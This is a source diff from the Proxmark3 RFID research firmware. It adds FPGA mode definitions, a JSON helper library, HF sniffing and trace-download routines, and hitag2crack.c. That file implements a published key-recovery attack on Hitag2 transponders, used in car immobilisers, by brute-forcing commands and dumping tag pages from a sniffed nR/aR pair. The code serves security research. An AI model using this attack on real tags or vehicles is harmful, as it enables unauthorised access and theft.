divi | x x x x x x x x
|
||||
thres| x x x x x x x x
|
||||
-----+-------------------------------------------
|
||||
*/
|
||||
|
||||
// Definitions for the FPGA commands.
|
||||
#define FPGA_CMD_SET_CONFREG (1<<12)
|
||||
#define FPGA_CMD_SET_DIVISOR (2<<12)
|
||||
#define FPGA_CMD_SET_USER_BYTE1 (3<<12)
|
||||
// BOTH HF / LF
|
||||
#define FPGA_CMD_SET_CONFREG (1<<12) // C
|
||||
|
||||
// LF
|
||||
#define FPGA_CMD_SET_DIVISOR (2<<12) // C
|
||||
#define FPGA_CMD_SET_USER_BYTE1 (3<<12) // C
|
||||
|
||||
// HF
|
||||
#define FPGA_CMD_TRACE_ENABLE (2<<12) // C
|
||||
|
||||
// Definitions for the FPGA configuration word.
|
||||
// LF
|
||||
#define FPGA_MAJOR_MODE_LF_ADC (0<<5)
|
||||
#define FPGA_MAJOR_MODE_LF_READER (0<<5)
|
||||
#define FPGA_MAJOR_MODE_LF_EDGE_DETECT (1<<5)
|
||||
#define FPGA_MAJOR_MODE_LF_PASSTHRU (2<<5)
|
||||
// HF
|
||||
#define FPGA_MAJOR_MODE_HF_READER_TX (0<<5)
|
||||
#define FPGA_MAJOR_MODE_HF_READER_RX_XCORR (1<<5)
|
||||
#define FPGA_MAJOR_MODE_HF_SIMULATOR (2<<5)
|
||||
#define FPGA_MAJOR_MODE_HF_ISO14443A (3<<5)
|
||||
#define FPGA_MAJOR_MODE_HF_SNOOP (4<<5)
|
||||
#define FPGA_MAJOR_MODE_HF_FELICA (5<<5)
|
||||
// BOTH
|
||||
#define FPGA_MAJOR_MODE_OFF_LF (6<<5)
|
||||
#define FPGA_MAJOR_MODE_OFF (7<<5)
|
||||
#define FPGA_MAJOR_MODE_LF_ADC (3<<5)
|
||||
|
||||
// HF
|
||||
#define FPGA_MAJOR_MODE_HF_READER_TX (0<<5) // D
|
||||
#define FPGA_MAJOR_MODE_HF_READER_RX_XCORR (1<<5) // D
|
||||
#define FPGA_MAJOR_MODE_HF_SIMULATOR (2<<5) // D
|
||||
#define FPGA_MAJOR_MODE_HF_ISO14443A (3<<5) // D
|
||||
#define FPGA_MAJOR_MODE_HF_SNOOP (4<<5) // D
|
||||
#define FPGA_MAJOR_MODE_HF_ISO18092 (5<<5) // D
|
||||
#define FPGA_MAJOR_MODE_HF_GET_TRACE (6<<5) // D
|
||||
|
||||
// BOTH HF / LF
|
||||
#define FPGA_MAJOR_MODE_OFF (7<<5) // D
|
||||
|
||||
// Options for LF_READER
|
||||
#define FPGA_LF_ADC_READER_FIELD 0x1
|
||||
|
||||
// Options for LF_ADC
|
||||
#define FPGA_LF_ADC_READER_FIELD (1<<0)
|
||||
// Options for LF_EDGE_DETECT
|
||||
#define FPGA_CMD_SET_EDGE_DETECT_THRESHOLD FPGA_CMD_SET_USER_BYTE1
|
||||
#define FPGA_LF_EDGE_DETECT_READER_FIELD (1<<0)
|
||||
#define FPGA_LF_EDGE_DETECT_TOGGLE_MODE (1<<1)
|
||||
#define FPGA_LF_EDGE_DETECT_READER_FIELD 0x1
|
||||
#define FPGA_LF_EDGE_DETECT_TOGGLE_MODE 0x2
|
||||
|
||||
// Options for the HF reader, tx to tag
|
||||
#define FPGA_HF_READER_TX_SHALLOW_MOD (1<<0)
|
||||
#define FPGA_HF_READER_TX_SHALLOW_MOD 0x1
|
||||
|
||||
// Options for the HF reader, correlating against rx from tag
|
||||
#define FPGA_HF_READER_RX_XCORR_848_KHZ (1<<0)
|
||||
#define FPGA_HF_READER_RX_XCORR_SNOOP (1<<1)
|
||||
#define FPGA_HF_READER_RX_XCORR_QUARTER (1<<2)
|
||||
#define FPGA_HF_READER_RX_XCORR_848_KHZ 0x1
|
||||
#define FPGA_HF_READER_RX_XCORR_SNOOP 0x2
|
||||
#define FPGA_HF_READER_RX_XCORR_QUARTER 0x4
|
||||
|
||||
// Options for the HF simulated tag, how to modulate
|
||||
#define FPGA_HF_SIMULATOR_NO_MODULATION 0x0 // 0000
|
||||
#define FPGA_HF_SIMULATOR_MODULATE_BPSK 0x1 // 0001
|
||||
|
@ -85,16 +95,31 @@ void switch_off(void);
|
|||
// no 848K
|
||||
|
||||
// Options for ISO14443A
|
||||
#define FPGA_HF_ISO14443A_SNIFFER (0<<0)
|
||||
#define FPGA_HF_ISO14443A_TAGSIM_LISTEN (1<<0)
|
||||
#define FPGA_HF_ISO14443A_TAGSIM_MOD (2<<0)
|
||||
#define FPGA_HF_ISO14443A_READER_LISTEN (3<<0)
|
||||
#define FPGA_HF_ISO14443A_READER_MOD (4<<0)
|
||||
#define FPGA_HF_ISO14443A_SNIFFER 0x0
|
||||
#define FPGA_HF_ISO14443A_TAGSIM_LISTEN 0x1
|
||||
#define FPGA_HF_ISO14443A_TAGSIM_MOD 0x2
|
||||
#define FPGA_HF_ISO14443A_READER_LISTEN 0x3
|
||||
#define FPGA_HF_ISO14443A_READER_MOD 0x4
|
||||
|
||||
//options for Felica.
|
||||
#define FPGA_MAJOR_MODE_ISO18092 (5<<5) // 01010 0000
|
||||
#define FPGA_HF_ISO18092_FLAG_NOMOD (1<<0) // 0001 disable modulation module
|
||||
#define FPGA_HF_ISO18092_FLAG_424K (2<<0) // 0010 should enable 414k mode (untested). No autodetect
|
||||
#define FPGA_HF_ISO18092_FLAG_READER (4<<0) // 0100 enables antenna power, to act as a reader instead of tag
|
||||
#define FPGA_HF_ISO18092_FLAG_NOMOD 0x1 // 0001 disable modulation module
|
||||
#define FPGA_HF_ISO18092_FLAG_424K 0x2 // 0010 should enable 414k mode (untested). No autodetect
|
||||
#define FPGA_HF_ISO18092_FLAG_READER 0x4 // 0100 enables antenna power, to act as a reader instead of tag
|
||||
|
||||
void FpgaSendCommand(uint16_t cmd, uint16_t v);
|
||||
void FpgaWriteConfWord(uint16_t v);
|
||||
void FpgaEnableTracing(void);
|
||||
void FpgaDisableTracing(void);
|
||||
void FpgaDownloadAndGo(int bitstream_version);
|
||||
// void FpgaGatherVersion(int bitstream_version, char *dst, int len);
|
||||
void FpgaSetupSsc(void);
|
||||
void SetupSpi(int mode);
|
||||
bool FpgaSetupSscDma(uint8_t *buf, int len);
|
||||
void Fpga_print_status(void);
|
||||
int FpgaGetCurrent(void);
|
||||
void SetAdcMuxFor(uint32_t whichGpio);
|
||||
|
||||
// extern and generel turn off the antenna method
|
||||
void switch_off(void);
|
||||
|
||||
#endif
|
||||
|
|
1470
armsrc/frozen.c
Normal file
1470
armsrc/frozen.c
Normal file
File diff suppressed because it is too large
Load diff
312
armsrc/frozen.h
Normal file
312
armsrc/frozen.h
Normal file
|
@ -0,0 +1,312 @@
|
|||
/*
|
||||
* Copyright (c) 2004-2013 Sergey Lyubka <valenok@gmail.com>
|
||||
* Copyright (c) 2018 Cesanta Software Limited
|
||||
* All rights reserved
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the ""License"");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an ""AS IS"" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
#ifndef CS_FROZEN_FROZEN_H_
|
||||
#define CS_FROZEN_FROZEN_H_
|
||||
|
||||
#include <stdarg.h>
|
||||
#include <stdio.h>
|
||||
|
||||
/* JSON token type */
|
||||
enum json_token_type {
|
||||
JSON_TYPE_INVALID = 0, /* memsetting to 0 should create INVALID value */
|
||||
JSON_TYPE_STRING,
|
||||
JSON_TYPE_NUMBER,
|
||||
JSON_TYPE_TRUE,
|
||||
JSON_TYPE_FALSE,
|
||||
JSON_TYPE_NULL,
|
||||
JSON_TYPE_OBJECT_START,
|
||||
JSON_TYPE_OBJECT_END,
|
||||
JSON_TYPE_ARRAY_START,
|
||||
JSON_TYPE_ARRAY_END,
|
||||
|
||||
JSON_TYPES_CNT
|
||||
};
|
||||
|
||||
/*
|
||||
* Structure containing token type and value. Used in `json_walk()` and
|
||||
* `json_scanf()` with the format specifier `%T`.
|
||||
*/
|
||||
struct json_token {
|
||||
const char *ptr; /* Points to the beginning of the value */
|
||||
int len; /* Value length */
|
||||
enum json_token_type type; /* Type of the token, possible values are above */
|
||||
};
|
||||
|
||||
#define JSON_INVALID_TOKEN \
|
||||
{ 0, 0, JSON_TYPE_INVALID }
|
||||
|
||||
/* Error codes */
|
||||
#define JSON_STRING_INVALID -1
|
||||
#define JSON_STRING_INCOMPLETE -2
|
||||
|
||||
/*
|
||||
* Callback-based SAX-like API.
|
||||
*
|
||||
* Property name and length is given only if it's available: i.e. if current
|
||||
* event is an object's property. In other cases, `name` is `NULL`. For
|
||||
* example, name is never given:
|
||||
* - For the first value in the JSON string;
|
||||
* - For events JSON_TYPE_OBJECT_END and JSON_TYPE_ARRAY_END
|
||||
*
|
||||
* E.g. for the input `{ "foo": 123, "bar": [ 1, 2, { "baz": true } ] }`,
|
||||
* the sequence of callback invocations will be as follows:
|
||||
*
|
||||
* - type: JSON_TYPE_OBJECT_START, name: NULL, path: "", value: NULL
|
||||
* - type: JSON_TYPE_NUMBER, name: "foo", path: ".foo", value: "123"
|
||||
* - type: JSON_TYPE_ARRAY_START, name: "bar", path: ".bar", value: NULL
|
||||
* - type: JSON_TYPE_NUMBER, name: "0", path: ".bar[0]", value: "1"
|
||||
* - type: JSON_TYPE_NUMBER, name: "1", path: ".bar[1]", value: "2"
|
||||
* - type: JSON_TYPE_OBJECT_START, name: "2", path: ".bar[2]", value: NULL
|
||||
* - type: JSON_TYPE_TRUE, name: "baz", path: ".bar[2].baz", value: "true"
|
||||
* - type: JSON_TYPE_OBJECT_END, name: NULL, path: ".bar[2]", value: "{ \"baz\":
|
||||
*true }"
|
||||
* - type: JSON_TYPE_ARRAY_END, name: NULL, path: ".bar", value: "[ 1, 2, {
|
||||
*\"baz\": true } ]"
|
||||
* - type: JSON_TYPE_OBJECT_END, name: NULL, path: "", value: "{ \"foo\": 123,
|
||||
*\"bar\": [ 1, 2, { \"baz\": true } ] }"
|
||||
*/
|
||||
typedef void (*json_walk_callback_t)(void *callback_data, const char *name,
|
||||
size_t name_len, const char *path,
|
||||
const struct json_token *token);
|
||||
|
||||
/*
|
||||
* Parse `json_string`, invoking `callback` in a way similar to SAX parsers;
|
||||
* see `json_walk_callback_t`.
|
||||
* Return number of processed bytes, or a negative error code.
|
||||
*/
|
||||
int json_walk(const char *json_string, int json_string_length,
|
||||
json_walk_callback_t callback, void *callback_data);
|
||||
|
||||
/*
|
||||
* JSON generation API.
|
||||
* struct json_out abstracts output, allowing alternative printing plugins.
|
||||
*/
|
||||
struct json_out {
|
||||
int (*printer)(struct json_out *, const char *str, size_t len);
|
||||
union {
|
||||
struct {
|
||||
char *buf;
|
||||
size_t size;
|
||||
size_t len;
|
||||
} buf;
|
||||
void *data;
|
||||
FILE *fp;
|
||||
} u;
|
||||
};
|
||||
|
||||
extern int json_printer_buf(struct json_out *, const char *, size_t);
|
||||
extern int json_printer_file(struct json_out *, const char *, size_t);
|
||||
|
||||
#define JSON_OUT_BUF(buf, len) \
|
||||
{ \
|
||||
json_printer_buf, { \
|
||||
{ buf, len, 0 } \
|
||||
} \
|
||||
}
|
||||
#define JSON_OUT_FILE(fp) \
|
||||
{ \
|
||||
json_printer_file, { \
|
||||
{ (char *) fp, 0, 0 } \
|
||||
} \
|
||||
}
|
||||
|
||||
typedef int (*json_printf_callback_t)(struct json_out *, va_list *ap);
|
||||
|
||||
/*
|
||||
* Generate formatted output into a given sting buffer.
|
||||
* This is a superset of printf() function, with extra format specifiers:
|
||||
* - `%B` print json boolean, `true` or `false`. Accepts an `int`.
|
||||
* - `%Q` print quoted escaped string or `null`. Accepts a `const char *`.
|
||||
* - `%.*Q` same as `%Q`, but with length. Accepts `int`, `const char *`
|
||||
* - `%V` print quoted base64-encoded string. Accepts a `const char *`, `int`.
|
||||
* - `%H` print quoted hex-encoded string. Accepts a `int`, `const char *`.
|
||||
* - `%M` invokes a json_printf_callback_t function. That callback function
|
||||
* can consume more parameters.
|
||||
*
|
||||
* Return number of bytes printed. If the return value is bigger than the
|
||||
* supplied buffer, that is an indicator of overflow. In the overflow case,
|
||||
* overflown bytes are not printed.
|
||||
*/
|
||||
int json_printf(struct json_out *, const char *fmt, ...);
|
||||
int json_vprintf(struct json_out *, const char *fmt, va_list xap);
|
||||
|
||||
/*
|
||||
* Same as json_printf, but prints to a file.
|
||||
* File is created if does not exist. File is truncated if already exists.
|
||||
*/
|
||||
int json_fprintf(const char *file_name, const char *fmt, ...);
|
||||
int json_vfprintf(const char *file_name, const char *fmt, va_list ap);
|
||||
|
||||
/*
|
||||
* Print JSON into an allocated 0-terminated string.
|
||||
* Return allocated string, or NULL on error.
|
||||
* Example:
|
||||
*
|
||||
* ```c
|
||||
* char *str = json_asprintf("{a:%H}", 3, "abc");
|
||||
* printf("%s\n", str); // Prints "616263"
|
||||
* free(str);
|
||||
* ```
|
||||
*/
|
||||
char *json_asprintf(const char *fmt, ...);
|
||||
char *json_vasprintf(const char *fmt, va_list ap);
|
||||
|
||||
/*
|
||||
* Helper %M callback that prints contiguous C arrays.
|
||||
* Consumes void *array_ptr, size_t array_size, size_t elem_size, char *fmt
|
||||
* Return number of bytes printed.
|
||||
*/
|
||||
int json_printf_array(struct json_out *, va_list *ap);
|
||||
|
||||
/*
|
||||
* Scan JSON string `str`, performing scanf-like conversions according to `fmt`.
|
||||
* This is a `scanf()` - like function, with following differences:
|
||||
*
|
||||
* 1. Object keys in the format string may be not quoted, e.g. "{key: %d}"
|
||||
* 2. Order of keys in an object is irrelevant.
|
||||
* 3. Several extra format specifiers are supported:
|
||||
* - %B: consumes `int *` (or `char *`, if `sizeof(bool) == sizeof(char)`),
|
||||
* expects boolean `true` or `false`.
|
||||
* - %Q: consumes `char **`, expects quoted, JSON-encoded string. Scanned
|
||||
* string is malloc-ed, caller must free() the string.
|
||||
* - %V: consumes `char **`, `int *`. Expects base64-encoded string.
|
||||
* Result string is base64-decoded, malloced and NUL-terminated.
|
||||
* The length of result string is stored in `int *` placeholder.
|
||||
* Caller must free() the result.
|
||||
* - %H: consumes `int *`, `char **`.
|
||||
* Expects a hex-encoded string, e.g. "fa014f".
|
||||
* Result string is hex-decoded, malloced and NUL-terminated.
|
||||
* The length of the result string is stored in `int *` placeholder.
|
||||
* Caller must free() the result.
|
||||
* - %M: consumes custom scanning function pointer and
|
||||
* `void *user_data` parameter - see json_scanner_t definition.
|
||||
* - %T: consumes `struct json_token *`, fills it out with matched token.
|
||||
*
|
||||
* Return number of elements successfully scanned & converted.
|
||||
* Negative number means scan error.
|
||||
*/
|
||||
int json_scanf(const char *str, int len, const char *fmt, ...);
|
||||
int json_vscanf(const char *str, int len, const char *fmt, va_list ap);
|
||||
|
||||
/* json_scanf's %M handler */
|
||||
typedef void (*json_scanner_t)(const char *str, int len, void *user_data);
|
||||
|
||||
/*
|
||||
* Helper function to scan array item with given path and index.
|
||||
* Fills `token` with the matched JSON token.
|
||||
* Return -1 if no array element found, otherwise non-negative token length.
|
||||
*/
|
||||
int json_scanf_array_elem(const char *s, int len, const char *path, int idx, struct json_token *token);
|
||||
|
||||
/*
|
||||
* Unescape JSON-encoded string src,slen into dst, dlen.
|
||||
* src and dst may overlap.
|
||||
* If destination buffer is too small (or zero-length), result string is not
|
||||
* written but the length is counted nevertheless (similar to snprintf).
|
||||
* Return the length of unescaped string in bytes.
|
||||
*/
|
||||
int json_unescape(const char *src, int slen, char *dst, int dlen);
|
||||
|
||||
/*
|
||||
* Escape a string `str`, `str_len` into the printer `out`.
|
||||
* Return the number of bytes printed.
|
||||
*/
|
||||
int json_escape(struct json_out *out, const char *str, size_t str_len);
|
||||
|
||||
/*
|
||||
* Read the whole file in memory.
|
||||
* Return malloc-ed file content, or NULL on error. The caller must free().
|
||||
*/
|
||||
char *json_fread(const char *path);
|
||||
|
||||
/*
|
||||
* Update given JSON string `s,len` by changing the value at given `json_path`.
|
||||
* The result is saved to `out`. If `json_fmt` == NULL, that deletes the key.
|
||||
* If path is not present, missing keys are added. Array path without an
|
||||
* index pushes a value to the end of an array.
|
||||
* Return 1 if the string was changed, 0 otherwise.
|
||||
*
|
||||
* Example: s is a JSON string { "a": 1, "b": [ 2 ] }
|
||||
* json_setf(s, len, out, ".a", "7"); // { "a": 7, "b": [ 2 ] }
|
||||
* json_setf(s, len, out, ".b", "7"); // { "a": 1, "b": 7 }
|
||||
* json_setf(s, len, out, ".b[]", "7"); // { "a": 1, "b": [ 2,7 ] }
|
||||
* json_setf(s, len, out, ".b", NULL); // { "a": 1 }
|
||||
*/
|
||||
int json_setf(const char *s, int len, struct json_out *out,
|
||||
const char *json_path, const char *json_fmt, ...);
|
||||
|
||||
int json_vsetf(const char *s, int len, struct json_out *out,
|
||||
const char *json_path, const char *json_fmt, va_list ap);
|
||||
|
||||
/*
|
||||
* Pretty-print JSON string `s,len` into `out`.
|
||||
* Return number of processed bytes in `s`.
|
||||
*/
|
||||
int json_prettify(const char *s, int len, struct json_out *out);
|
||||
|
||||
/*
|
||||
* Prettify JSON file `file_name`.
|
||||
* Return number of processed bytes, or negative number of error.
|
||||
* On error, file content is not modified.
|
||||
*/
|
||||
int json_prettify_file(const char *file_name);
|
||||
|
||||
/*
|
||||
* Iterate over an object at given JSON `path`.
|
||||
* On each iteration, fill the `key` and `val` tokens. It is OK to pass NULL
|
||||
* for `key`, or `val`, in which case they won't be populated.
|
||||
* Return an opaque value suitable for the next iteration, or NULL when done.
|
||||
*
|
||||
* Example:
|
||||
*
|
||||
* ```c
|
||||
* void *h = NULL;
|
||||
* struct json_token key, val;
|
||||
* while ((h = json_next_key(s, len, h, ".foo", &key, &val)) != NULL) {
|
||||
* printf("[%.*s] -> [%.*s]\n", key.len, key.ptr, val.len, val.ptr);
|
||||
* }
|
||||
* ```
|
||||
*/
|
||||
void *json_next_key(const char *s, int len, void *handle, const char *path,
|
||||
struct json_token *key, struct json_token *val);
|
||||
|
||||
/*
|
||||
* Iterate over an array at given JSON `path`.
|
||||
* Similar to `json_next_key`, but fills array index `idx` instead of `key`.
|
||||
*/
|
||||
void *json_next_elem(const char *s, int len, void *handle, const char *path,
|
||||
int *idx, struct json_token *val);
|
||||
|
||||
#ifndef JSON_MAX_PATH_LEN
|
||||
#define JSON_MAX_PATH_LEN 256
|
||||
#endif
|
||||
|
||||
#ifndef JSON_MINIMAL
|
||||
#define JSON_MINIMAL 1
|
||||
#endif
|
||||
|
||||
#ifndef JSON_ENABLE_BASE64
|
||||
#define JSON_ENABLE_BASE64 !JSON_MINIMAL
|
||||
#endif
|
||||
|
||||
#ifndef JSON_ENABLE_HEX
|
||||
#define JSON_ENABLE_HEX !JSON_MINIMAL
|
||||
#endif
|
||||
|
||||
#endif /* CS_FROZEN_FROZEN_H_ */
|
|
@ -1,10 +1,22 @@
|
|||
#include "proxmark3.h"
|
||||
#include "apps.h"
|
||||
//-----------------------------------------------------------------------------
|
||||
// piwi, 2019
|
||||
//
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// Routines to get sample data from FPGA.
|
||||
//-----------------------------------------------------------------------------
|
||||
#include "hfsnoop.h"
|
||||
#include "proxmark3_arm.h"
|
||||
#include "BigBuf.h"
|
||||
#include "fpgaloader.h"
|
||||
#include "ticks.h"
|
||||
#include "dbprint.h"
|
||||
#include "util.h"
|
||||
#include "usb_cdc.h" // for usb_poll_validate_length
|
||||
|
||||
static void RAMFUNC optimizedSniff(void);
|
||||
#include "fpga.h"
|
||||
#include "appmain.h"
|
||||
#include "cmd.h"
|
||||
|
||||
static void RAMFUNC optimizedSniff(void) {
|
||||
int n = BigBuf_max_traceLen() / sizeof(uint16_t); // take all memory
|
||||
|
@ -77,3 +89,42 @@ void HfSniff(int samplesToSkip, int triggersToSkip) {
|
|||
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
|
||||
LED_D_OFF();
|
||||
}
|
||||
|
||||
void HfPlotDownload(void) {
|
||||
uint8_t *buf = ToSend;
|
||||
uint8_t *this_buf = buf;
|
||||
|
||||
FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
|
||||
|
||||
FpgaSetupSsc();
|
||||
|
||||
AT91C_BASE_PDC_SSC->PDC_PTCR = AT91C_PDC_RXTDIS; // Disable DMA Transfer
|
||||
AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t) this_buf; // start transfer to this memory address
|
||||
AT91C_BASE_PDC_SSC->PDC_RCR = PM3_CMD_DATA_SIZE; // transfer this many samples
|
||||
buf[0] = (uint8_t)AT91C_BASE_SSC->SSC_RHR; // clear receive register
|
||||
AT91C_BASE_PDC_SSC->PDC_PTCR = AT91C_PDC_RXTEN; // Start DMA transfer
|
||||
|
||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_GET_TRACE); // let FPGA transfer its internal Block-RAM
|
||||
|
||||
LED_B_ON();
|
||||
for (size_t i = 0; i < FPGA_TRACE_SIZE; i += PM3_CMD_DATA_SIZE) {
|
||||
// prepare next DMA transfer:
|
||||
uint8_t *next_buf = buf + ((i + PM3_CMD_DATA_SIZE) % (2 * PM3_CMD_DATA_SIZE));
|
||||
|
||||
AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t)next_buf;
|
||||
AT91C_BASE_PDC_SSC->PDC_RNCR = PM3_CMD_DATA_SIZE;
|
||||
|
||||
size_t len = MIN(FPGA_TRACE_SIZE - i, PM3_CMD_DATA_SIZE);
|
||||
|
||||
while (!(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_ENDRX))) {}; // wait for DMA transfer to complete
|
||||
|
||||
reply_old(CMD_FPGAMEM_DOWNLOADED, i, len, FPGA_TRACE_SIZE, this_buf, len);
|
||||
this_buf = next_buf;
|
||||
}
|
||||
|
||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
|
||||
|
||||
// Trigger a finish downloading signal with an ACK frame
|
||||
reply_mix(CMD_ACK, 1, 0, FPGA_TRACE_SIZE, 0, 0);
|
||||
LED_B_OFF();
|
||||
}
|
||||
|
|
17
armsrc/hfsnoop.h
Normal file
17
armsrc/hfsnoop.h
Normal file
|
@ -0,0 +1,17 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// Jonathan Westhues, Aug 2005
|
||||
// Gerhard de Koning Gans, April 2008, May 2011
|
||||
// Piwi, Feb 2019
|
||||
//
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// Definitions internal to the app source.
|
||||
//-----------------------------------------------------------------------------
|
||||
#ifndef __HFSNOOP_H
|
||||
#define __HFSNOOP_H
|
||||
|
||||
void HfSniff(int, int);
|
||||
void HfPlotDownload(void);
|
||||
#endif
|
1757
armsrc/hitag2.c
1757
armsrc/hitag2.c
File diff suppressed because it is too large
Load diff
|
@ -11,12 +11,11 @@
|
|||
#ifndef _HITAG2_H_
|
||||
#define _HITAG2_H_
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
#include "common.h"
|
||||
#include "hitag.h"
|
||||
|
||||
void SniffHitag(void);
|
||||
void SimulateHitagTag(bool tag_mem_supplied, uint8_t *data);
|
||||
void SniffHitag2(void);
|
||||
void SimulateHitag2(bool tag_mem_supplied, uint8_t *data);
|
||||
void ReaderHitag(hitag_function htf, hitag_data *htd);
|
||||
void WriterHitag(hitag_function htf, hitag_data *htd, int page);
|
||||
|
||||
|
|
|
@ -11,6 +11,9 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
#include "hitag2_crypto.h"
|
||||
|
||||
#include "util.h"
|
||||
#include "string.h"
|
||||
|
||||
/* Following is a modified version of cryptolib.com/ciphers/hitag2/ */
|
||||
// Software optimized 48-bit Philips/NXP Mifare Hitag2 PCF7936/46/47/52 stream cipher algorithm by I.C. Wiener 2006-2007.
|
||||
// For educational purposes only.
|
||||
|
|
|
@ -1,12 +1,7 @@
|
|||
#ifndef __HITAG2_CRYPTO_H
|
||||
#define __HITAG2_CRYPTO_H
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#include "string.h"
|
||||
#include "util.h"
|
||||
#include "common.h"
|
||||
|
||||
struct hitag2_tag {
|
||||
uint32_t uid;
|
||||
|
@ -29,8 +24,5 @@ uint32_t _hitag2_byte(uint64_t *x);
|
|||
void hitag2_cipher_reset(struct hitag2_tag *tag, const uint8_t *iv);
|
||||
int hitag2_cipher_authenticate(uint64_t *cs, const uint8_t *authenticator_is);
|
||||
int hitag2_cipher_transcrypt(uint64_t *cs, uint8_t *data, uint16_t bytes, uint16_t bits) ;
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
|
833
armsrc/hitag2crack.c
Normal file
833
armsrc/hitag2crack.c
Normal file
|
@ -0,0 +1,833 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// Kevin Sheldrake <kev@headhacking.com>, Aug 2018
|
||||
//
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//
|
||||
// iceman, Jan, 2020
|
||||
// doegox, Jan, 2020
|
||||
//-----------------------------------------------------------------------------
|
||||
// hitag2 attack functions
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
#include "hitag2_crypto.h"
|
||||
#include "hitag2crack.h"
|
||||
|
||||
#define READP0CMD "1100000111"
|
||||
#define ERROR_RESPONSE "F402889C"
|
||||
|
||||
extern const uint8_t Hitag2Sync[5];
|
||||
extern bool CryptoActive;
|
||||
extern Hitag_State Hitag_Crypto_State;
|
||||
|
||||
// hitag2_crack implements the first crack algorithm described in the paper,
|
||||
// Gone In 360 Seconds by Verdult, Garcia and Balasch.
|
||||
// response is a multi-line text response containing the 8 pages of the
|
||||
// cracked tag;
|
||||
// nrarhex is a string containing hex representations of the 32 bit nR and aR
|
||||
// values (separated by a space) snooped using SNIFF-PWM.
|
||||
bool hitag2_crack(uint8_t *response, uint8_t *nrarhex) {
|
||||
uint8_t uidhex[9];
|
||||
uint8_t uid[32];
|
||||
uint8_t nrar[64];
|
||||
uint8_t e_firstcmd[10];
|
||||
uint8_t e_page0cmd[10];
|
||||
uint8_t keybits[42];
|
||||
uint8_t pagehex[9];
|
||||
uint8_t temp[20];
|
||||
int i;
|
||||
uint8_t *spaceptr = NULL;
|
||||
|
||||
// get uid as hexstring
|
||||
if (!hitag2_get_uid(uidhex)) {
|
||||
UserMessage("Cannot get UID\r\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// convert uid hexstring to binarray
|
||||
hextobinarray(uid, uidhex);
|
||||
|
||||
// convert nR and aR hexstrings to binarray
|
||||
spaceptr = strchr(nrarhex, ' ');
|
||||
if (!spaceptr) {
|
||||
UserMessage("Please supply a valid nR aR pair\r\n");
|
||||
return false;
|
||||
}
|
||||
*spaceptr = 0x00;
|
||||
|
||||
if (hextobinarray(nrar, nrarhex) != 32) {
|
||||
UserMessage("nR is not 32 bits long\r\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
if (hextobinarray(nrar + 32, spaceptr + 1) != 32) {
|
||||
UserMessage("aR is not 32 bits long\r\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// find a valid encrypted command
|
||||
if (!hitag2crack_find_valid_e_cmd(e_firstcmd, nrar)) {
|
||||
UserMessage("Cannot find a valid encrypted command\r\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// find the 'read page 0' command and recover key stream
|
||||
if (!hitag2crack_find_e_page0_cmd(keybits, e_firstcmd, nrar, uid)) {
|
||||
UserMessage("Cannot find encrypted 'read page0' command\r\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// empty the response string
|
||||
response[0] = 0x00;
|
||||
|
||||
// read all pages using key stream
|
||||
for (i = 0; i < 8; i++) {
|
||||
if (hitag2crack_read_page(pagehex, i, nrar, keybits)) {
|
||||
sprintf(temp, "%1d: %s\r\n", i, pagehex);
|
||||
} else {
|
||||
sprintf(temp, "%1d:\r\n", i);
|
||||
}
|
||||
// add page string to response
|
||||
strcat(response, temp);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
// hitag2crack_find_valid_e_cmd repeatedly replays the auth protocol each
|
||||
// with a different sequential encrypted command value in order to find one
|
||||
// that returns a valid response.
|
||||
// e_cmd is the returned binarray of the valid encrypted command;
|
||||
// nrar is the binarray of the 64 bit nR aR pair.
|
||||
bool hitag2crack_find_valid_e_cmd(uint8_t e_cmd[], uint8_t nrar[]) {
|
||||
uint8_t guess[10];
|
||||
uint8_t responsestr[9];
|
||||
|
||||
// UserMessage("Finding valid encrypted command:");
|
||||
// we're going to hold bits 5, 7, 8 and 9 and brute force the rest
|
||||
// e.g. x x x x x 0 x 0 0 0
|
||||
for (uint8_t a = 0; a < 2; a++) {
|
||||
for (uint8_t b = 0; b < 2; b++) {
|
||||
for (uint8_t c = 0; c < 2; c++) {
|
||||
for (uint8_t d = 0; d < 2; d++) {
|
||||
for (uint8_t e = 0; e < 2; e++) {
|
||||
for (uint8_t g = 0; g < 2; g++) {
|
||||
// build binarray
|
||||
guess[0] = a;
|
||||
guess[1] = b;
|
||||
guess[2] = c;
|
||||
guess[3] = d;
